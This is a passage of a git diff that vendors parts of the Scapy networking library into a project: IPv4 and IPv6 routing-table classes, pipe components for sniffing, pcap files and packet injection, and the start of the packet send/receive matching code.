ltoa(msk), + gw, + (iface.description if not isinstance(iface, six.string_types) else iface), # noqa: E501 + addr, + str(metric))) + + return pretty_list(rtlst, + [("Network", "Netmask", "Gateway", "Iface", "Output IP", "Metric")]) # noqa: E501 + + def make_route(self, host=None, net=None, gw=None, dev=None, metric=1): + from scapy.arch import get_if_addr + if host is not None: + thenet, msk = host, 32 + elif net is not None: + thenet, msk = net.split("/") + msk = int(msk) + else: + raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") # noqa: E501 + if gw is None: + gw = "0.0.0.0" + if dev is None: + if gw: + nhop = gw + else: + nhop = thenet + dev, ifaddr, _ = self.route(nhop) + else: + ifaddr = get_if_addr(dev) + return (atol(thenet), itom(msk), gw, dev, ifaddr, metric) + + def add(self, *args, **kargs): + """Ex: + add(net="192.168.1.0/24",gw="1.2.3.4") + """ + self.invalidate_cache() + self.routes.append(self.make_route(*args, **kargs)) + + def delt(self, *args, **kargs): + """delt(host|net, gw|dev)""" + self.invalidate_cache() + route = self.make_route(*args, **kargs) + try: + i = self.routes.index(route) + del(self.routes[i]) + except ValueError: + warning("no matching route found") + + def ifchange(self, iff, addr): + self.invalidate_cache() + the_addr, the_msk = (addr.split("/") + ["32"])[:2] + the_msk = itom(int(the_msk)) + the_rawaddr = atol(the_addr) + the_net = the_rawaddr & the_msk + + for i, route in enumerate(self.routes): + net, msk, gw, iface, addr, metric = route + if scapy.consts.WINDOWS: + if iff.guid != iface.guid: + continue + elif iff != iface: + continue + if gw == '0.0.0.0': + self.routes[i] = (the_net, the_msk, gw, iface, the_addr, metric) # noqa: E501 + else: + self.routes[i] = (net, msk, gw, iface, the_addr, metric) + conf.netcache.flush() + + def ifdel(self, iff): + self.invalidate_cache() + new_routes = [] + for rt in self.routes: + if scapy.consts.WINDOWS: + if iff.guid == rt[3].guid: + continue + elif iff == rt[3]: + continue + new_routes.append(rt) + self.routes = new_routes + + def ifadd(self, iff, addr): + self.invalidate_cache() + the_addr, the_msk = (addr.split("/") + ["32"])[:2] + the_msk = itom(int(the_msk)) + the_rawaddr = atol(the_addr) + the_net = the_rawaddr & the_msk + self.routes.append((the_net, the_msk, '0.0.0.0', iff, the_addr, 1)) + + def route(self, dst=None, verbose=conf.verb): + """Returns the IPv4 routes to a host. + parameters: + - dst: the IPv4 of the destination host + + returns: (iface, output_ip, gateway_ip) + - iface: the interface used to connect to the host + - output_ip: the outgoing IP that will be used + - gateway_ip: the gateway IP that will be used + """ + dst = dst or "0.0.0.0" # Enable route(None) to return default route + if isinstance(dst, bytes): + try: + dst = plain_str(dst) + except UnicodeDecodeError: + raise TypeError("Unknown IP address input (bytes)") + if dst in self.cache: + return self.cache[dst] + # Transform "192.168.*.1-5" to one IP of the set + _dst = dst.split("/")[0].replace("*", "0") + while True: + idx = _dst.find("-") + if idx < 0: + break + m = (_dst[idx:] + ".").find(".") + _dst = _dst[:idx] + _dst[idx + m:] + + atol_dst = atol(_dst) + paths = [] + for d, m, gw, i, a, me in self.routes: + if not a: # some interfaces may not currently be connected + continue + aa = atol(a) + if aa == atol_dst: + paths.append( + (0xffffffff, 1, (conf.loopback_name, a, "0.0.0.0")) # noqa: E501 + ) + if (atol_dst & m) == (d & m): + paths.append((m, me, (i, a, gw))) + + if not paths: + if verbose: + warning("No route found (no default route?)") + return conf.loopback_name, "0.0.0.0", "0.0.0.0" + # Choose the more specific route + # Sort by greatest netmask and use metrics as a tie-breaker + paths.sort(key=lambda x: (-x[0], x[1])) + # Return interface + ret = paths[0][2] + self.cache[dst] = ret + return ret + + def get_if_bcast(self, iff): + for net, msk, gw, iface, addr, metric in self.routes: + if net == 0: + continue + if scapy.consts.WINDOWS: + if iff.guid != iface.guid: + continue + elif iff != iface: + continue + bcast = atol(addr) | (~msk & 0xffffffff) # FIXME: check error in atol() # noqa: E501 + return ltoa(bcast) + warning("No broadcast address found for iface %s\n", iff) + + +conf.route = Route() + +iface = conf.route.route(None, verbose=0)[0] + +if getattr(iface, "name", iface) == conf.loopback_name: + from scapy.arch import get_working_if + conf.iface = get_working_if() +else: + conf.iface = iface + +del iface diff --git a/libs/scapy/route6.py b/libs/scapy/route6.py new file mode 100755 index 0000000..8f6f787 --- /dev/null +++ b/libs/scapy/route6.py @@ -0,0 +1,336 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +# Copyright (C) 2005 Guillaume Valadon +# Arnaud Ebalard + +""" +Routing and network interface handling for IPv6. +""" + +############################################################################# +# Routing/Interfaces stuff # +############################################################################# + +from __future__ import absolute_import +import socket +from scapy.config import conf +from scapy.utils6 import in6_ptop, in6_cidr2mask, in6_and, \ + in6_islladdr, in6_ismlladdr, in6_isincluded, in6_isgladdr, \ + in6_isaddr6to4, in6_ismaddr, construct_source_candidate_set, \ + get_source_addr_from_candidate_set +from scapy.arch import read_routes6, in6_getifaddr +from scapy.pton_ntop import inet_pton, inet_ntop +from scapy.error import warning, log_loading +import scapy.modules.six as six +from scapy.utils import pretty_list + + +class Route6: + + def __init__(self): + self.resync() + self.invalidate_cache() + + def invalidate_cache(self): + self.cache = {} + + def flush(self): + self.invalidate_cache() + self.ipv6_ifaces = set() + self.routes = [] + + def resync(self): + # TODO : At the moment, resync will drop existing Teredo routes + # if any. Change that ... + self.invalidate_cache() + self.routes = read_routes6() + self.ipv6_ifaces = set() + for route in self.routes: + self.ipv6_ifaces.add(route[3]) + if self.routes == []: + log_loading.info("No IPv6 support in kernel") + + def __repr__(self): + rtlst = [] + + for net, msk, gw, iface, cset, metric in self.routes: + rtlst.append(('%s/%i' % (net, msk), + gw, + (iface if isinstance(iface, six.string_types) + else iface.description), + ", ".join(cset) if len(cset) > 0 else "", + str(metric))) + + return pretty_list(rtlst, + [('Destination', 'Next Hop', "Iface", "Src candidates", "Metric")], # noqa: E501 + sortBy=1) + + # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net' # noqa: E501 + # parameters. We only have a 'dst' parameter that accepts 'prefix' and + # 'prefix/prefixlen' values. + # WARNING: Providing a specific device will at the moment not work correctly. # noqa: E501 + def make_route(self, dst, gw=None, dev=None): + """Internal function : create a route for 'dst' via 'gw'. + """ + prefix, plen = (dst.split("/") + ["128"])[:2] + plen = int(plen) + + if gw is None: + gw = "::" + if dev is None: + dev, ifaddr, x = self.route(gw) + else: + # TODO: do better than that + # replace that unique address by the list of all addresses + lifaddr = in6_getifaddr() + devaddrs = [x for x in lifaddr if x[2] == dev] + ifaddr = construct_source_candidate_set(prefix, plen, devaddrs) + + self.ipv6_ifaces.add(dev) + + return (prefix, plen, gw, dev, ifaddr, 1) + + def add(self, *args, **kargs): + """Ex: + add(dst="2001:db8:cafe:f000::/56") + add(dst="2001:db8:cafe:f000::/56", gw="2001:db8:cafe::1") + add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") + """ + self.invalidate_cache() + self.routes.append(self.make_route(*args, **kargs)) + + def remove_ipv6_iface(self, iface): + """ + Remove the network interface 'iface' from the list of interfaces + supporting IPv6. + """ + + if not all(r[3] == iface for r in conf.route6.routes): + try: + self.ipv6_ifaces.remove(iface) + except KeyError: + pass + + def delt(self, dst, gw=None): + """ Ex: + delt(dst="::/0") + delt(dst="2001:db8:cafe:f000::/56") + delt(dst="2001:db8:cafe:f000::/56", gw="2001:db8:deca::1") + """ + tmp = dst + "/128" + dst, plen = tmp.split('/')[:2] + dst = in6_ptop(dst) + plen = int(plen) + to_del = [x for x in self.routes + if in6_ptop(x[0]) == dst and x[1] == plen] + if gw: + gw = in6_ptop(gw) + to_del = [x for x in self.routes if in6_ptop(x[2]) == gw] + if len(to_del) == 0: + warning("No matching route found") + elif len(to_del) > 1: + warning("Found more than one match. Aborting.") + else: + i = self.routes.index(to_del[0]) + self.invalidate_cache() + self.remove_ipv6_iface(self.routes[i][3]) + del(self.routes[i]) + + def ifchange(self, iff, addr): + the_addr, the_plen = (addr.split("/") + ["128"])[:2] + the_plen = int(the_plen) + + naddr = inet_pton(socket.AF_INET6, the_addr) + nmask = in6_cidr2mask(the_plen) + the_net = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr)) + + for i, route in enumerate(self.routes): + net, plen, gw, iface, addr, metric = route + if iface != iff: + continue + + self.ipv6_ifaces.add(iface) + + if gw == '::': + self.routes[i] = (the_net, the_plen, gw, iface, [the_addr], metric) # noqa: E501 + else: + self.routes[i] = (net, plen, gw, iface, [the_addr], metric) + self.invalidate_cache() + conf.netcache.in6_neighbor.flush() + + def ifdel(self, iff): + """ removes all route entries that uses 'iff' interface. """ + new_routes = [] + for rt in self.routes: + if rt[3] != iff: + new_routes.append(rt) + self.invalidate_cache() + self.routes = new_routes + self.remove_ipv6_iface(iff) + + def ifadd(self, iff, addr): + """ + Add an interface 'iff' with provided address into routing table. + + Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into # noqa: E501 + Scapy6 internal routing table: + + Destination Next Hop iface Def src @ Metric + 2001:bd8:cafe:1::/64 :: eth0 2001:bd8:cafe:1::1 1 + + prefix length value can be omitted. In that case, a value of 128 + will be used. + """ + addr, plen = (addr.split("/") + ["128"])[:2] + addr = in6_ptop(addr) + plen = int(plen) + naddr = inet_pton(socket.AF_INET6, addr) + nmask = in6_cidr2mask(plen) + prefix = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr)) + self.invalidate_cache() + self.routes.append((prefix, plen, '::', iff, [addr], 1)) + self.ipv6_ifaces.add(iff) + + def route(self, dst=None, dev=None, verbose=conf.verb): + """ + Provide best route to IPv6 destination address, based on Scapy + internal routing table content. + + When a set of address is passed (e.g. ``2001:db8:cafe:*::1-5``) an + address of the set is used. Be aware of that behavior when using + wildcards in upper parts of addresses ! + + If 'dst' parameter is a FQDN, name resolution is performed and result + is used. + + if optional 'dev' parameter is provided a specific interface, filtering + is performed to limit search to route associated to that interface. + """ + dst = dst or "::/0" # Enable route(None) to return default route + # Transform "2001:db8:cafe:*::1-5:0/120" to one IPv6 address of the set + dst = dst.split("/")[0] + savedst = dst # In case following inet_pton() fails + dst = dst.replace("*", "0") + idx = dst.find("-") + while idx >= 0: + m = (dst[idx:] + ":").find(":") + dst = dst[:idx] + dst[idx + m:] + idx = dst.find("-") + + try: + inet_pton(socket.AF_INET6, dst) + except socket.error: + dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0] + # TODO : Check if name resolution went well + + # Choose a valid IPv6 interface while dealing with link-local addresses + if dev is None and (in6_islladdr(dst) or in6_ismlladdr(dst)): + dev = conf.iface # default interface + + # Check if the default interface supports IPv6! + if dev not in self.ipv6_ifaces and self.ipv6_ifaces: + + tmp_routes = [route for route in self.routes + if route[3] != conf.iface] + + default_routes = [route for route in tmp_routes + if (route[0], route[1]) == ("::", 0)] + + ll_routes = [route for route in tmp_routes + if (route[0], route[1]) == ("fe80::", 64)] + + if default_routes: + # Fallback #1 - the first IPv6 default route + dev = default_routes[0][3] + elif ll_routes: + # Fallback #2 - the first link-local prefix + dev = ll_routes[0][3] + else: + # Fallback #3 - the loopback + dev = conf.loopback_name + + warning("The conf.iface interface (%s) does not support IPv6! " + "Using %s instead for routing!" % (conf.iface, dev)) + + # Deal with dev-specific request for cache search + k = dst + if dev is not None: + k = dst + "%%" + (dev if isinstance(dev, six.string_types) else dev.pcap_name) # noqa: E501 + if k in self.cache: + return self.cache[k] + + paths = [] + + # TODO : review all kinds of addresses (scope and *cast) to see + # if we are able to cope with everything possible. I'm convinced + # it's not the case. + # -- arnaud + for p, plen, gw, iface, cset, me in self.routes: + if dev is not None and iface != dev: + continue + if in6_isincluded(dst, p, plen): + paths.append((plen, me, (iface, cset, gw))) + elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])): # noqa: E501 + paths.append((plen, me, (iface, cset, gw))) + + if not paths: + if dst == "::1": + return (conf.loopback_name, "::1", "::") + else: + if verbose: + warning("No route found for IPv6 destination %s " + "(no default route?)", dst) + return (conf.loopback_name, "::", "::") + + # Sort with longest prefix first then use metrics as a tie-breaker + paths.sort(key=lambda x: (-x[0], x[1])) + + best_plen = (paths[0][0], paths[0][1]) + paths = [x for x in paths if (x[0], x[1]) == best_plen] + + res = [] + for p in paths: # Here we select best source address for every route + tmp = p[2] + srcaddr = get_source_addr_from_candidate_set(dst, tmp[1]) + if srcaddr is not None: + res.append((p[0], p[1], (tmp[0], srcaddr, tmp[2]))) + + if res == []: + warning("Found a route for IPv6 destination '%s', but no possible source address.", dst) # noqa: E501 + return (conf.loopback_name, "::", "::") + + # Symptom : 2 routes with same weight (our weight is plen) + # Solution : + # - dst is unicast global. Check if it is 6to4 and we have a source + # 6to4 address in those available + # - dst is link local (unicast or multicast) and multiple output + # interfaces are available. Take main one (conf.iface) + # - if none of the previous or ambiguity persists, be lazy and keep + # first one + + if len(res) > 1: + tmp = [] + if in6_isgladdr(dst) and in6_isaddr6to4(dst): + # TODO : see if taking the longest match between dst and + # every source addresses would provide better results + tmp = [x for x in res if in6_isaddr6to4(x[2][1])] + elif in6_ismaddr(dst) or in6_islladdr(dst): + # TODO : I'm sure we are not covering all addresses. Check that + tmp = [x for x in res if x[2][0] == conf.iface] + + if tmp: + res = tmp + + # Fill the cache (including dev-specific request) + k = dst + if dev is not None: + k = dst + "%%" + (dev if isinstance(dev, six.string_types) else dev.pcap_name) # noqa: E501 + self.cache[k] = res[0][2] + + return res[0][2] + + +conf.route6 = Route6() diff --git a/libs/scapy/scapypipes.py b/libs/scapy/scapypipes.py new file mode 100755 index 0000000..f9b30d7 --- /dev/null +++ b/libs/scapy/scapypipes.py @@ -0,0 +1,594 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +from __future__ import print_function +import socket +import subprocess + +from scapy.modules.six.moves.queue import Queue, Empty +from scapy.pipetool import Source, Drain, Sink +from scapy.config import conf +from scapy.compat import raw +from scapy.utils import ContextManagerSubprocess, PcapReader, PcapWriter + + +class SniffSource(Source): + """Read packets from an interface and send them to low exit. + + .. code:: + + +-----------+ + >>-| |->> + | | + >-| [iface]--|-> + +-----------+ + + If neither of the ``iface`` or ``socket`` parameters are specified, then + Scapy will capture from the first network interface. + + :param iface: A layer 2 interface to sniff packets from. Mutually + exclusive with the ``socket`` parameter. + :param filter: Packet filter to use while capturing. See ``L2listen``. + Not used with ``socket`` parameter. + :param socket: A ``SuperSocket`` to sniff packets from. + """ + + def __init__(self, iface=None, filter=None, socket=None, name=None): + Source.__init__(self, name=name) + + if (iface or filter) and socket: + raise ValueError("iface and filter options are mutually exclusive " + "with socket") + + self.s = socket + self.iface = iface + self.filter = filter + + def start(self): + if not self.s: + self.s = conf.L2listen(iface=self.iface, filter=self.filter) + + def stop(self): + if self.s: + self.s.close() + + def fileno(self): + return self.s.fileno() + + def check_recv(self): + return True + + def deliver(self): + try: + pkt = self.s.recv() + if pkt is not None: + self._send(pkt) + except EOFError: + self.is_exhausted = True + + +class RdpcapSource(Source): + """Read packets from a PCAP file send them to low exit. + + .. code:: + + +----------+ + >>-| |->> + | | + >-| [pcap]--|-> + +----------+ + """ + + def __init__(self, fname, name=None): + Source.__init__(self, name=name) + self.fname = fname + self.f = PcapReader(self.fname) + + def start(self): + self.f = PcapReader(self.fname) + self.is_exhausted = False + + def stop(self): + self.f.close() + + def fileno(self): + return self.f.fileno() + + def check_recv(self): + return True + + def deliver(self): + try: + p = self.f.recv() + self._send(p) + except EOFError: + self.is_exhausted = True + + +class InjectSink(Sink): + """Packets received on low input are injected to an interface + + .. code:: + + +-----------+ + >>-| |->> + | | + >-|--[iface] |-> + +-----------+ + """ + + def __init__(self, iface=None, name=None): + Sink.__init__(self, name=name) + if iface is None: + iface = conf.iface + self.iface = iface + + def start(self): + self.s = conf.L2socket(iface=self.iface) + + def stop(self): + self.s.close() + + def push(self, msg): + self.s.send(msg) + + +class Inject3Sink(InjectSink): + def start(self): + self.s = conf.L3socket(iface=self.iface) + + +class WrpcapSink(Sink): + """ + Writes :py:class:`Packet` on the low entry to a ``pcap`` file. + Ignores all messages on the high entry. + + .. note:: + + Due to limitations of the ``pcap`` format, all packets **must** be of + the same link type. This class will not mutate packets to conform with + the expected link type. + + .. code:: + + +----------+ + >>-| |->> + | | + >-|--[pcap] |-> + +----------+ + + :param fname: Filename to write packets to. + :type fname: str + :param linktype: See :py:attr:`linktype`. + :type linktype: None or int + + .. py:attribute:: linktype + + Set an explicit link-type (``DLT_``) for packets. This must be an + ``int`` or ``None``. + + This is the same as the :py:func:`wrpcap` ``linktype`` parameter. + + If ``None`` (the default), the linktype will be auto-detected on the + first packet. This field will *not* be updated with the result of this + auto-detection. + + This attribute has no effect after calling :py:meth:`PipeEngine.start`. + """ + + def __init__(self, fname, name=None, linktype=None): + Sink.__init__(self, name=name) + self.fname = fname + self.f = None + self.linktype = linktype + + def start(self): + self.f = PcapWriter(self.fname, linktype=self.linktype) + + def stop(self): + if self.f: + self.f.flush() + self.f.close() + + def push(self, msg): + if msg: + self.f.write(msg) + + +class WiresharkSink(WrpcapSink): + """ + Streams :py:class:`Packet` from the low entry to Wireshark. + + Packets are written into a ``pcap`` stream (like :py:class:`WrpcapSink`), + and streamed to a new Wireshark process on its ``stdin``. + + Wireshark is run with the ``-ki -`` arguments, which cause it to treat + ``stdin`` as a capture device. Arguments in :py:attr:`args` will be + appended after this. + + Extends :py:mod:`WrpcapSink`. + + .. code:: + + +----------+ + >>-| |->> + | | + >-|--[pcap] |-> + +----------+ + + :param linktype: See :py:attr:`WrpcapSink.linktype`. + :type linktype: None or int + :param args: See :py:attr:`args`. + :type args: None or list[str] + + .. py:attribute:: args + + Additional arguments for the Wireshark process. + + This must be either ``None`` (the default), or a ``list`` of ``str``. + + This attribute has no effect after calling :py:meth:`PipeEngine.start`. + + See :manpage:`wireshark(1)` for more details. + """ + + def __init__(self, name=None, linktype=None, args=None): + WrpcapSink.__init__(self, fname=None, name=name, linktype=linktype) + self.args = args + + def start(self): + # Wireshark must be running first, because PcapWriter will block until + # data has been read! + with ContextManagerSubprocess(conf.prog.wireshark): + args = [conf.prog.wireshark, "-Slki", "-"] + if self.args: + args.extend(self.args) + + proc = subprocess.Popen( + args, + stdin=subprocess.PIPE, + stdout=None, + stderr=None, + ) + + self.fname = proc.stdin + WrpcapSink.start(self) + + +class UDPDrain(Drain): + """UDP payloads received on high entry are sent over UDP + + .. code:: + + +-------------+ + >>-|--[payload]--|->> + | X | + >-|----[UDP]----|-> + +-------------+ + """ + + def __init__(self, ip="127.0.0.1", port=1234): + Drain.__init__(self) + self.ip = ip + self.port = port + + def push(self, msg): + from scapy.layers.inet import IP, UDP + if IP in msg and msg[IP].proto == 17 and UDP in msg: + payload = msg[UDP].payload + self._high_send(raw(payload)) + + def high_push(self, msg): + from scapy.layers.inet import IP, UDP + p = IP(dst=self.ip) / UDP(sport=1234, dport=self.port) / msg + self._send(p) + + +class FDSourceSink(Source): + """Use a file descriptor as source and sink + + .. code:: + + +-------------+ + >>-| |->> + | | + >-|-[file desc]-|-> + +-------------+ + """ + + def __init__(self, fd, name=None): + Source.__init__(self, name=name) + self.fd = fd + + def push(self, msg): + self.fd.write(msg) + + def fileno(self): + return self.fd.fileno() + + def deliver(self): + self._send(self.fd.read()) + + +class TCPConnectPipe(Source): + """TCP connect to addr:port and use it as source and sink + + .. code:: + + +-------------+ + >>-| |->> + | | + >-|-[addr:port]-|-> + +-------------+ + """ + __selectable_force_select__ = True + + def __init__(self, addr="", port=0, name=None): + Source.__init__(self, name=name) + self.addr = addr + self.port = port + self.fd = None + + def start(self): + self.fd = socket.socket() + self.fd.connect((self.addr, self.port)) + + def stop(self): + if self.fd: + self.fd.close() + + def push(self, msg): + self.fd.send(msg) + + def fileno(self): + return self.fd.fileno() + + def deliver(self): + try: + msg = self.fd.recv(65536) + except socket.error: + self.stop() + raise + if msg: + self._send(msg) + + +class TCPListenPipe(TCPConnectPipe): + """TCP listen on [addr:]port and use first connection as source and sink; + send peer address to high output + + .. code:: + + +------^------+ + >>-| +-[peer]-|->> + | / | + >-|-[addr:port]-|-> + +-------------+ + """ + __selectable_force_select__ = True + + def __init__(self, addr="", port=0, name=None): + TCPConnectPipe.__init__(self, addr, port, name) + self.connected = False + self.q = Queue() + + def start(self): + self.connected = False + self.fd = socket.socket() + self.fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.fd.bind((self.addr, self.port)) + self.fd.listen(1) + + def push(self, msg): + if self.connected: + self.fd.send(msg) + else: + self.q.put(msg) + + def deliver(self): + if self.connected: + try: + msg = self.fd.recv(65536) + except socket.error: + self.stop() + raise + if msg: + self._send(msg) + else: + fd, frm = self.fd.accept() + self._high_send(frm) + self.fd.close() + self.fd = fd + self.connected = True + self._trigger(frm) + while True: + try: + self.fd.send(self.q.get(block=False)) + except Empty: + break + + +class TriggeredMessage(Drain): + """Send a preloaded message when triggered and trigger in chain + + .. code:: + + +------^------+ + >>-| | /----|->> + | |/ | + >-|-[ message ]-|-> + +------^------+ + """ + + def __init__(self, msg, name=None): + Drain.__init__(self, name=name) + self.msg = msg + + def on_trigger(self, trigmsg): + self._send(self.msg) + self._high_send(self.msg) + self._trigger(trigmsg) + + +class TriggerDrain(Drain): + """Pass messages and trigger when a condition is met + + .. code:: + + +------^------+ + >>-|-[condition]-|->> + | | | + >-|-[condition]-|-> + +-------------+ + """ + + def __init__(self, f, name=None): + Drain.__init__(self, name=name) + self.f = f + + def push(self, msg): + v = self.f(msg) + if v: + self._trigger(v) + self._send(msg) + + def high_push(self, msg): + v = self.f(msg) + if v: + self._trigger(v) + self._high_send(msg) + + +class TriggeredValve(Drain): + """Let messages alternatively pass or not, changing on trigger + +.. code:: + + +------^------+ + >>-|-[pass/stop]-|->> + | | | + >-|-[pass/stop]-|-> + +------^------+ + """ + + def __init__(self, start_state=True, name=None): + Drain.__init__(self, name=name) + self.opened = start_state + + def push(self, msg): + if self.opened: + self._send(msg) + + def high_push(self, msg): + if self.opened: + self._high_send(msg) + + def on_trigger(self, msg): + self.opened ^= True + self._trigger(msg) + + +class TriggeredQueueingValve(Drain): + """Let messages alternatively pass or queued, changing on trigger + + .. code:: + + +------^-------+ + >>-|-[pass/queue]-|->> + | | | + >-|-[pass/queue]-|-> + +------^-------+ + """ + + def __init__(self, start_state=True, name=None): + Drain.__init__(self, name=name) + self.opened = start_state + self.q = Queue() + + def start(self): + self.q = Queue() + + def push(self, msg): + if self.opened: + self._send(msg) + else: + self.q.put((True, msg)) + + def high_push(self, msg): + if self.opened: + self._send(msg) + else: + self.q.put((False, msg)) + + def on_trigger(self, msg): + self.opened ^= True + self._trigger(msg) + while True: + try: + low, msg = self.q.get(block=False) + except Empty: + break + else: + if low: + self._send(msg) + else: + self._high_send(msg) + + +class TriggeredSwitch(Drain): + r"""Let messages alternatively high or low, changing on trigger + + .. code:: + + +------^------+ + >>-|-\ | /-|->> + | [up/down] | + >-|-/ | \-|-> + +------^------+ + """ + + def __init__(self, start_state=True, name=None): + Drain.__init__(self, name=name) + self.low = start_state + + def push(self, msg): + if self.low: + self._send(msg) + else: + self._high_send(msg) + high_push = push + + def on_trigger(self, msg): + self.low ^= True + self._trigger(msg) + + +class ConvertPipe(Drain): + """Packets sent on entry are converted to another type of packet. + + .. code:: + + +-------------+ + >>-|--[convert]--|->> + | | + >-|--[convert]--|-> + +-------------+ + + See ``Packet.convert_packet``. + """ + def __init__(self, low_type=None, high_type=None, name=None): + Drain.__init__(self, name=name) + self.low_type = low_type + self.high_type = high_type + + def push(self, msg): + if self.low_type: + msg = self.low_type.convert_packet(msg) + self._send(msg) + + def high_push(self, msg): + if self.high_type: + msg = self.high_type.convert_packet(msg) + self._high_send(msg) diff --git a/libs/scapy/sendrecv.py b/libs/scapy/sendrecv.py new file mode 100755 index 0000000..43633b6 --- /dev/null +++ b/libs/scapy/sendrecv.py @@ -0,0 +1,1144 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Functions to send and receive packets. +""" + +from __future__ import absolute_import, print_function +import itertools +from threading import Thread, Event +import os +import re +import subprocess +import time +import types + +from scapy.compat import plain_str +from scapy.data import ETH_P_ALL +from scapy.config import conf +from scapy.error import warning +from scapy.packet import Gen, Packet +from scapy.utils import get_temp_file, tcpdump, wrpcap, \ + ContextManagerSubprocess, PcapReader +from scapy.plist import PacketList, SndRcvList +from scapy.error import log_runtime, log_interactive, Scapy_Exception +from scapy.base_classes import SetGen +from scapy.modules import six +from scapy.modules.six.moves import map +from scapy.sessions import DefaultSession +from scapy.supersocket import SuperSocket +if conf.route is None: + # unused import, only to initialize conf.route + import scapy.route # noqa: F401 + +################# +# Debug class # +################# + + +class debug: + recv = [] + sent = [] + match = [] + crashed_on = None + + +#################### +# Send / Receive # +#################### + +_DOC_SNDRCV_PARAMS = """ + :param pks: SuperSocket instance to send/receive packets + :param pkt: the packet to send + :param rcv_pks: if set, will be used instead of pks to receive packets. + packets will still be sent through pks + :param nofilter: put 1 to avoid use of BPF filters + :param retry: if positive, how many times to resend unanswered packets + if negative, how many times to retry when no more packets + are answered + :param timeout: how much time to wait after the last packet has been sent + :param verbose: set verbosity level + :param multi: whether to accept multiple answers for the same stimulus + :param store_unanswered: whether to store not-answered packets or not. + setting it to False will increase speed, and will return + None as the unans list. + :param process: if specified, only result from process(pkt) will be stored. + the function should follow the following format: + ``lambda sent, received: (func(sent), func2(received))`` + if the packet is unanswered, `received` will be None. + if `store_unanswered` is False, the function won't be called on + un-answered packets. + :param prebuild: pre-build the packets before starting to send them. + Automatically enabled when a generator is passed as the packet + """ + + +class SndRcvHandler(object): + """ + Util to send/receive packets, used by sr*(). + Do not use directly. + + This matches the requests and answers. + + Notes:: + - threaded mode: enabling threaded mode will likely + break packet timestamps, but might result in a speedup + when sending a big amount of packets. Disabled by default + - DEVS: store the outgoing timestamp right BEFORE sending the packet + to avoid races that could result in negative latency. We aren't Stadia + """ + def __init__(self, pks, pkt, + timeout=None, inter=0, verbose=None, + chainCC=False, + retry=0, multi=False, rcv_pks=None, + prebuild=False, _flood=None, + threaded=False, + session=None): + # Instantiate all arguments + if verbose is None: + verbose = conf.verb + if conf.debug_match: + debug.recv = PacketList([], "Received") + debug.sent = PacketList([], "Sent") + debug.match = SndRcvList([], "Matched") + self.nbrecv = 0 + self.ans = [] + self.pks = pks + self.rcv_pks = rcv_pks or pks + self.inter = inter + self.verbose = verbose + self.chainCC = chainCC + self.multi = multi + self.timeout = timeout + self.session = session + # Instantiate packet holders + if _flood: + self.tobesent = pkt + self.notans = _flood[0] + else: + if isinstance(pkt, types.GeneratorType) or prebuild: + self.tobesent = [p for p in pkt] + self.notans = len(self.tobesent) + else: + self.tobesent = ( + SetGen(pkt) if not isinstance(pkt, Gen) else pkt + ) + self.notans = self.tobesent.__iterlen__() + + if retry < 0: + autostop = retry = -retry + else: + autostop = 0 + + if timeout is not None and timeout < 0: + self.timeout = None + + while retry >= 0: + self.hsent = {} + + if threaded or _flood: + # Send packets in thread. + # https://github.com/secdev/scapy/issues/1791 + snd_thread = Thread( + target=self._sndrcv_snd + ) + snd_thread.setDaemon(True) + + # Start routine with callback + self._sndrcv_rcv(snd_thread.start) + + # Ended. Let's close gracefully + if _flood: + # Flood: stop send thread + _flood[1]() + snd_thread.join() + else: + self._sndrcv_rcv(self._sndrcv_snd) + + if multi: + remain = [ + p for p in itertools.chain(*six.itervalues(self.hsent)) + if not hasattr(p, '_answered') + ] + else: + remain = list(itertools.chain(*six.itervalues(self.hsent))) + + if autostop and len(remain) > 0 and \ + len(remain) != len(self.tobesent): + retry = autostop + + self.tobesent = remain + if len(self.tobesent) == 0: + break + retry -= 1 + + if conf.debug_match: + debug.sent = PacketList(remain[:], "Sent") + debug.match = SndRcvList(self.ans[:]) + + # Clean the ans list to delete the field _answered + if multi: + for snd, _ in self.ans: + if hasattr(snd, '_answered'): + del snd._answered + + if verbose: + print( + "\nReceived %i packets, got %i answers, " + "remaining %i packets" % ( + self.nbrecv + len(self.ans), len(self.ans), self.notans + ) + ) + + self.ans_result = SndRcvList(self.ans) + self.unans_result = PacketList(remain, "Unanswered") + + def results(self): + return self.ans_result, self.unans_result + + def _sndrcv_snd(self): + """Function used in the sending thread of sndrcv()""" + try: + if self.verbose: + print("Begin emission:") + i = 0 + for p in self.tobesent: + # Populate the dictionary of _sndrcv_rcv + # _sndrcv_rcv won't miss the answer of a packet that + # has not been sent + self.hsent.setdefault(p.hashret(), []).append(p) + # Send packet + self.pks.send(p) + time.sleep(self.inter) + i += 1 + if self.verbose: + print("Finished sending %i packets." % i) + except SystemExit: + pass + except Exception: + log_runtime.exception("--- Error sending packets") + + def _process_packet(self, r): + """Internal function used to process each packet.""" + if r is None: + return + ok = False + h = r.hashret() + if h in self.hsent: + hlst = self.hsent[h] + for i, sentpkt in enumerate(hlst): + if r.answers(sentpkt): + self.ans.append((sentpkt, r)) + if self.verbose > 1: + os.write(1, b"*") + ok = True + if not self.multi: + del hlst[i] + self.notans -= 1 + else: + if not hasattr(sentpkt, '_answered'): + self.notans -= 1 + sentpkt._answered = 1 + break + if self.notans <= 0 and not self.multi: + self.sniffer.stop(join=False) + if not ok: + if self.verbose > 1: + os.write(1, b".") + self.nbrecv += 1 + if conf.debug_match: + debug.recv.append(r) + + def _sndrcv_rcv(self, callback): + """Function used to receive packets and check their hashret""" + self.sniffer = None + try: + self.sniffer = AsyncSniffer() + self.sniffer._run( + prn=self._process_packet, + timeout=self.timeout, + store=False, + opened_socket=self.pks, + session=self.session, + started_callback=callback + 